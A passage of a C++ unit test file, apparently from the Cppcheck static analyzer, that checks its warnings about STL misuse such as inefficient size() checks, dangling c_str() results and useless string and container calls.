+ 1 > x.size()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f() {\\n\"\n \" std::list x;\\n\"\n \" if (x.size() < 1 + foo) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void size2() {\n const char code[] = \"struct Fred {\\n\"\n \" std::list x;\\n\"\n \"};\\n\"\n \"struct Wilma {\\n\"\n \" Fred f;\\n\"\n \" void foo();\\n\"\n \"};\\n\"\n \"void Wilma::foo()\\n\"\n \"{\\n\"\n \" if (f.x.size() == 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\n \"[test.cpp:10:11]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\"\n \"[test.cpp:10:11]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", // duplicate\n errout_str());\n\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void size3() {\n {\n const char code[] = \"namespace N {\\n\"\n \" class Zzz {\\n\"\n \" public:\\n\"\n \" std::list x;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"using namespace N;\\n\"\n \"Zzz * zzz;\\n\"\n \"int main() {\\n\"\n \" if (zzz->x.size() > 0) { }\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\n \"[test.cpp:10:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\"\n \"[test.cpp:10:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", // duplicate\n errout_str());\n }\n\n {\n const char code[] = \"namespace N {\\n\"\n \" class Zzz {\\n\"\n \" public:\\n\"\n \" std::list x;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"using namespace N;\\n\"\n \"int main() {\\n\"\n \" Zzz * zzz;\\n\"\n \" if (zzz->x.size() > 0) { }\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\n \"[test.cpp:10:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\"\n \"[test.cpp:10:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", // duplicate\n errout_str());\n\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n }\n\n void size4() { // #2652 - don't warn about vector/deque\n check(\"void f(std::vector &v) {\\n\"\n \" if (v.size() > 0U) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::deque &v) {\\n\"\n \" if (v.size() > 0U) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::array &a) {\\n\"\n \" if (a.size() > 0U) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantCondition1() {\n check(\"void f(string haystack)\\n\"\n \"{\\n\"\n \" if (haystack.find(needle) != haystack.end())\\n\"\n \" haystack.remove(needle);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Redundant checking of STL container element existence before removing it. [redundantIfRemove]\\n\", errout_str());\n }\n\n void missingInnerComparison1() {\n check(\"void f(std::set &ints) {\\n\"\n \" for (std::set::iterator it = ints.begin(); it != ints.end(); ++it) {\\n\"\n \" if (a) {\\n\"\n \" it++;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:2:71]: (warning) Missing bounds check for extra iterator increment in loop. [StlMissingComparison]\\n\", errout_str());\n\n check(\"void f(std::map &ints) {\\n\"\n \" for (std::map::iterator it = ints.begin(); it != ints.end(); ++it) {\\n\"\n \" ++it->second;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector &v) {\\n\"\n \" for(std::vector::const_iterator it = v.begin(); it != v.end(); ++it) {\\n\"\n \" if(it+2 != v.end())\\n\"\n \" {\\n\"\n \" ++it;\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void missingInnerComparison2() {\n check(\"void f(std::set &ints) {\\n\"\n \" for (std::set::iterator it = ints.begin(); it != ints.end(); ++it) {\\n\"\n \" if (a) {\\n\"\n \" it++;\\n\"\n \" if (it == ints.end())\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void missingInnerComparison3() {\n check(\"void f(std::set &ints) {\\n\"\n \" for (std::set::iterator it = ints.begin(); it != ints.end(); ++it) {\\n\"\n \" for (std::set::iterator it = ints2.begin(); it != ints2.end(); ++it)\\n\"\n \" { }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void missingInnerComparison4() {\n check(\"function f1(std::list &l1) {\\n\"\n \" for(std::list::iterator i = l1.begin(); i != l1.end(); i++) {\\n\"\n \" if (*i == 44) {\\n\"\n \" l1.insert(++i, 55);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"function f1(std::list &l1) {\\n\"\n \" for(std::list::iterator i = l1.begin(); i != l1.end(); i++) {\\n\"\n \" if (*i == 44) {\\n\"\n \" l1.insert(++i, 55);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n }\n\n void missingInnerComparison5() {\n check(\"void f() {\\n\"\n \" for(it = map1.begin(); it != map1.end(); it++) {\\n\"\n \" str[i++] = (*it).first;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void missingInnerComparison6() {\n check(\"void f(std::string &s) {\\n\"\n \" for(string::iterator it = s.begin(); it != s.end(); it++) {\\n\"\n \" it = s.insert(++it, 0);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void cstr() {\n check(\"void f() {\\n\"\n \" std::string errmsg;\\n\"\n \" throw errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after throwing exception. [stlcstrthrow]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::ostringstream errmsg;\\n\"\n \" return errmsg.str().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return std::string(\\\"ERROR: \\\" + errmsg).c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return (\\\"ERROR: \\\" + errmsg).c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return (\\\"ERROR: \\\" + std::string(\\\"crash me\\\")).c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::ostringstream errmsg;\\n\"\n \" const char *c = errmsg.str().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"std::string f();\\n\"\n \"\\n\"\n \"void foo() {\\n\"\n \" const char *c = f().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"class Foo {\\n\"\n \" const char *f();\\n\"\n \"};\\n\"\n \"const char *Foo::f() {\\n\"\n \" std::string s;\\n\"\n \" return s.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"class Foo {\\n\"\n \" std::string GetVal() const;\\n\"\n \"};\\n\"\n \"const char *f() {\\n\"\n \" Foo f;\\n\"\n \" return f.GetVal().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char* foo() {\\n\"\n \" static std::string text;\\n\"\n \" text = \\\"hello world\\\\n\\\";\\n\"\n \" return text.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3427\n\n // Implicit conversion back to std::string\n check(\"std::string get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (performance) Returning the result of c_str() in a function that returns std::string is slow and redundant. [stlcstrReturn]\\n\", errout_str());\n\n check(\"const std::string& get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (performance) Returning the result of c_str() in a function that returns std::string is slow and redundant. [stlcstrReturn]\\n\", errout_str());\n\n check(\"class Foo {\\n\"\n \" std::string GetVal() const;\\n\"\n \"};\\n\"\n \"std::string f() {\\n\"\n \" Foo f;\\n\"\n \" return f.GetVal().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (performance) Returning the result of c_str() in a function that returns std::string is slow and redundant. [stlcstrReturn]\\n\", errout_str());\n\n check(\"std::string get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return errmsg;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string get_msg() {\\n\" // #3678\n \" MyStringClass errmsg;\\n\"\n \" return errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Foo1(const std::string& str) {}\\n\"\n \"void Foo2(const char* c, const std::string str) {}\\n\"\n \"void Foo3(std::string& rstr) {}\\n\"\n \"void Foo4(std::string str, const std::string& str) {}\\n\"\n \"void Bar() {\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" std::stringstream ss(\\\"foo\\\");\\n\"\n \" Foo1(str);\\n\"\n \" Foo1(str.c_str());\\n\"\n \" Foo2(str.c_str(), str);\\n\"\n \" Foo2(str.c_str(), str.c_str());\\n\"\n \" Foo3(str.c_str());\\n\"\n \" Foo4(str, str);\\n\"\n \" Foo4(str.c_str(), str);\\n\"\n \" Foo4(str, str.c_str());\\n\"\n \" Foo4(ss.str(), ss.str().c_str());\\n\"\n \" Foo4(str.c_str(), str.c_str());\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:9:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:11:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 2 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:14:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:15:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 2 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:16:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 2 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:17:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:17:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 2 is slow and redundant. [stlcstrParam]\\n\", errout_str());\n\n check(\"void Foo1(const std::string& str) {}\\n\"\n \"void Foo2(char* c, const std::string str) {}\\n\"\n \"void Bar() {\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" Foo1(str, foo);\\n\" // Don't crash\n \" Foo2(str.c_str());\\n\" // Don't crash\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {\\n\"\n \" void func(std::string str) const {}\\n\"\n \" static void sfunc(std::string str) {}\\n\"\n \"};\\n\"\n \"void func(std::string str) {}\\n\"\n \"void Bar() {\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" Foo foo;\\n\"\n \" func(str.c_str());\\n\"\n \" Foo::sfunc(str.c_str());\\n\"\n \" foo.func(str.c_str());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:10:10]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:11:9]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\",\n errout_str());\n\n check(\"void f(const std::string& s);\\n\" // #8336\n \"struct T {\\n\"\n \" std::string g();\\n\"\n \" std::string a[1];\\n\"\n \" struct U { std::string s; } u;\"\n \"};\\n\"\n \"namespace N { namespace O { std::string s; } }\\n\"\n \"void g(const std::vector& v, T& t) {\\n\"\n \" for (std::vector::const_iterator it = v.begin(); it != v.end(); ++it)\\n\"\n \" f(it->c_str());\\n\"\n \" f(v.begin()->c_str());\\n\"\n \" f(t.g().c_str());\\n\"\n \" f(t.a[0].c_str());\\n\"\n \" f(t.u.s.c_str());\\n\"\n \" f(N::O::s.c_str());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:9]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:10:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:11:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:12:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:13:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:14:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\",\n errout_str());\n\n check(\"void svgFile(const std::string &content, const std::string &fileName, const double end = 1000., const double start = 0.);\\n\"\n \"void Bar(std::string filename) {\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" std::ofstream svgFile(filename.c_str(), std::ios::trunc);\\n\"\n \" svgFile << \\\"test\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Foo(const char* p) {}\\n\"\n \"void Foo(const std::string& str) {Foo(str.c_str());}\\n\" // Overloaded\n \"void Bar() {\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" Foo(str);\\n\"\n \" Foo(str.c_str());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int atoi(const std::string& str) {\\n\" // #3729: Don't suggest recursive call\n \" return atoi(str.c_str());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string hello()\\n\"\n \"{\\n\"\n \" return \\\"hello\\\";\\n\"\n \"}\\n\"\n \"\\n\"\n \"const char *f()\\n\"\n \"{\\n\"\n \" return hello().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"class Fred {\\n\"\n \" std::string hello();\\n\"\n \" const char *f();\\n\"\n \"};\\n\"\n \"std::string Fred::hello()\\n\"\n \"{\\n\"\n \" return \\\"hello\\\";\\n\"\n \"}\\n\"\n \"const char *Fred::f()\\n\"\n \"{\\n\"\n \" return hello().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:11:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n // #4183 - using MyStringClass.c_str()\n check(\"void a(const std::string &str);\\n\"\n \"\\n\"\n \"void b() {\\n\"\n \" MyStringClass s;\\n\"\n \" a(s.c_str());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string Format(const char * name) {\\n\" // #4938\n \" return String::Format(\\\"%s:\\\", name).c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7480\n check(\"struct InternalMapInfo {\\n\"\n \" std::string author;\\n\"\n \"};\\n\"\n \"const char* GetMapAuthor(int index) {\\n\"\n \" const InternalMapInfo* mapInfo = &internal_getMapInfo;\\n\"\n \" return mapInfo->author.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct InternalMapInfo {\\n\"\n \" std::string author;\\n\"\n \"};\\n\"\n \"std::string GetMapAuthor(int index) {\\n\"\n \" const InternalMapInfo* mapInfo = &internal_getMapInfo;\\n\"\n \" return mapInfo->author.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (performance) Returning the result of c_str() in a function that returns std::string is slow and redundant. [stlcstrReturn]\\n\", errout_str());\n\n check(\"struct InternalMapInfo {\\n\"\n \" std::string author;\\n\"\n \"};\\n\"\n \"const char* GetMapAuthor(int index) {\\n\"\n \" const InternalMapInfo mapInfo = internal_getMapInfo;\\n\"\n \" return mapInfo.author.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #7656\n \" std::string data;\\n\"\n \"};\\n\"\n \"const S& getS();\\n\"\n \"const char* test() {\\n\"\n \" const struct S &s = getS();\\n\"\n \" return s.data.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #7930\n \" std::string data;\\n\"\n \"};\\n\"\n \"const char* test() {\\n\"\n \" S s;\\n\"\n \" std::string &ref = s.data;\\n\"\n \" return ref.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"void f(const wchar_t* w, int i = 0, ...);\\n\" // #10357\n \"void f(const std::string& s, int i = 0);\\n\"\n \"void g(const std::wstring& p) {\\n\"\n \" f(p.c_str());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" //#9161\n \" const char* f() const noexcept {\\n\"\n \" return (\\\"\\\" + m).c_str();\\n\"\n \" }\\n\"\n \" std::string m;\\n\"\n \"};\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:9]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #10493\n \" void f(const char** pp);\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"void S::f(const char** pp) {\\n\"\n \" try {\\n\"\n \" *pp = member.c_str();\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" s = \\\"xyz\\\";\\n\"\n \" *pp = member.c_str();\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string f(const std::string& a) {\\n\"\n \" std::string b(a.c_str());\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (performance) Constructing a std::string from the result of c_str() is slow and redundant. [stlcstrConstructor]\\n\", errout_str());\n\n check(\"std::string f(const std::string& a) {\\n\"\n \" std::string b{ a.c_str() };\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (performance) Constructing a std::string from the result of c_str() is slow and redundant. [stlcstrConstructor]\\n\", errout_str());\n\n check(\"std::string f(const std::string& a) {\\n\"\n \" std::string b = a.c_str();\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (performance) Assigning the result of c_str() to a std::string is slow and redundant. [stlcstrAssignment]\\n\", errout_str());\n\n check(\"std::string g(const std::string& a, const std::string& b) {\\n\"\n \" return a + b.c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (performance) Concatenating the result of c_str() and a std::string is slow and redundant. [stlcstrConcat]\\n\", errout_str());\n\n check(\"std::string g(const std::string& a, const std::string& b) {\\n\"\n \" return a.c_str() + b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (performance) Concatenating the result of c_str() and a std::string is slow and redundant. [stlcstrConcat]\\n\", errout_str());\n\n check(\"std::vector v;\\n\" // don't crash\n \"int i;\\n\"\n \"void f() {\\n\"\n \" const double* const QM_R__ buf(v.data() + i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\" // #7515\n \" std::string g();\\n\"\n \" std::string a[1];\\n\"\n \" std::vector v;\\n\"\n \"};\\n\"\n \"void f(std::stringstream& strm, const std::string& s, T& t) {\\n\"\n \" strm << s.c_str();\\n\"\n \" strm << \\\"abc\\\" << s.c_str();\\n\"\n \" strm << \\\"abc\\\" << s.c_str() << \\\"def\\\";\\n\"\n \" strm << \\\"abc\\\" << t.g().c_str() << \\\"def\\\";\\n\"\n \" strm << t.a[0].c_str();\\n\"\n \" strm << t.v.begin()->c_str();\\n\"\n \" auto it = t.v.begin()\\n\"\n \" strm << it->c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:10]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:8:19]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:9:19]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:10:19]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:11:10]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:12:10]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:14:10]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\",\n errout_str());\n\n check(\"struct S { std::string str; };\\n\"\n \"struct T { S s; };\\n\"\n \"struct U { T t[1]; };\\n\"\n \"void f(const T& t, const U& u, std::string& str) {\\n\"\n \" if (str.empty())\\n\"\n \" str = t.s.str.c_str();\\n\"\n \" else\\n\"\n \" str = u.t[0].s.str.c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (performance) Assigning the result of c_str() to a std::string is slow and redundant. [stlcstrAssignment]\\n\"\n \"[test.cpp:8:9]: (performance) Assigning the result of c_str() to a std::string is slow and redundant. [stlcstrAssignment]\\n\",\n errout_str());\n\n check(\"void f(std::string_view);\\n\" // #11547\n \"void g(const std::string & s) {\\n\"\n \" f(s.c_str());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (performance) Passing the result of c_str() to a function that takes std::string_view as argument no. 1 is slow and redundant. [stlcstrParam]\\n\",\n errout_str());\n\n check(\"std::string_view f(const std::string& s) {\\n\"\n \" std::string_view sv = s.c_str();\\n\"\n \" return sv;\\n\"\n \"}\\n\"\n \"std::string_view g(const std::string& s) {\\n\"\n \" std::string_view sv{ s.c_str() };\\n\"\n \" return sv;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (performance) Assigning the result of c_str() to a std::string_view is slow and redundant. [stlcstrAssignment]\\n\"\n \"[test.cpp:6:22]: (performance) Constructing a std::string_view from the result of c_str() is slow and redundant. [stlcstrConstructor]\\n\",\n errout_str());\n\n check(\"void f(const std::string& s) {\\n\" // #11819\n \" std::string_view sv(s.data(), 13);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { std::string x; };\\n\" // #11802\n \"std::vector> global;\\n\"\n \"const char* f() {\\n\"\n \" auto s = std::make_shared();\\n\"\n \" global.push_back(s);\\n\"\n \" return s->x.c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void uselessCalls() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" string s1, s2;\\n\"\n \" s1.swap(s2);\\n\"\n \" s2.swap(s2);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::string s1, s2;\\n\"\n \" s1.swap(s2);\\n\"\n \" s2.swap(s2);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:5]: (performance) It is inefficient to swap a object with itself by calling 's2.swap(s2)' [uselessCallsSwap]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::string s1, s2;\\n\"\n \" s1.compare(s2);\\n\"\n \" s2.compare(s2);\\n\"\n \" s1.compare(s2.c_str());\\n\"\n \" s1.compare(0, s1.size(), s1);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:16]: (warning) It is inefficient to call 's2.compare(s2)' as it always returns 0. [uselessCallsCompare]\\n\", errout_str());\n\n // #7370 False positive uselessCallsCompare on unknown type\n check(\"class ReplayIteratorImpl{\\n\"\n \" int Compare(ReplayIteratorImpl* other) {\\n\"\n \" int cmp;\\n\"\n \" int ret = cursor_->compare(cursor_, other->cursor_, &cmp);\\n\"\n \" return (cmp);\\n\"\n \" }\\n\"\n \" WT_CURSOR *cursor_;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" int x=1;\\n\"\n \" std::string s1, s2;\\n\"\n \" s1 = s1.substr();\\n\"\n \" s2 = s1.substr(x);\\n\"\n \" s1 = s2.substr(0, x);\\n\"\n \" s1 = s2.substr(0,std::string::npos);\\n\"\n \" s1 = s2.substr(x+5-n, 0);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (performance) Ineffective call of function \\'substr\\' because it returns a copy of \"\n \"the object. Use operator= instead. [uselessCallsSubstr]\\n\"\n \"[test.cpp:8:10]: (performance) Ineffective call of function \\'substr\\' because it returns a copy of \"\n \"the object. Use operator= instead. [uselessCallsSubstr]\\n\"\n \"[test.cpp:9:10]: (performance) Ineffective call of function \\'substr\\' because it returns an empty string. [uselessCallsSubstr]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" int x=1;\\n\"\n \" string s1, s2;\\n\"\n \" s1 = s1.substr();\\n\"\n \" s2 = s1.substr(x);\\n\"\n \" s1 = s2.substr(0, x);\\n\"\n \" s1 = s2.substr(0,std::string::npos);\\n\"\n \" s1 = s2.substr(x+5-n, 0);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main()\\n\"\n \"{\\n\"\n \" std::string str = \\\"a1b1\\\";\\n\"\n \" return str.find(str[1], 2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool foo(std::vector& v) {\\n\"\n \" v.empty();\\n\"\n \" return v.empty();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning) Ineffective call of function 'empty()'. Did you intend to call 'clear()' instead? [uselessCallsEmpty]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #4938\n \" OdString str;\\n\"\n \" str.empty();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #4032\n \" const std::string greeting(\\\"Hello World !!!\\\");\\n\"\n \" const std::string::size_type npos = greeting.rfind(\\\" \\\");\\n\"\n \" if (npos != std::string::npos)\\n\"\n \" std::cout << greeting.substr(0, npos) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector a) {\\n\"\n \" std::remove(a.begin(), a.end(), val);\\n\"\n \" std::remove_if(a.begin(), a.end(), val);\\n\"\n \" std::unique(a.begin(), a.end(), val);\\n\"\n \" x = std::remove(a.begin(), a.end(), val);\\n\"\n \" a.erase(std::remove(a.begin(), a.end(), val));\\n\"\n \" 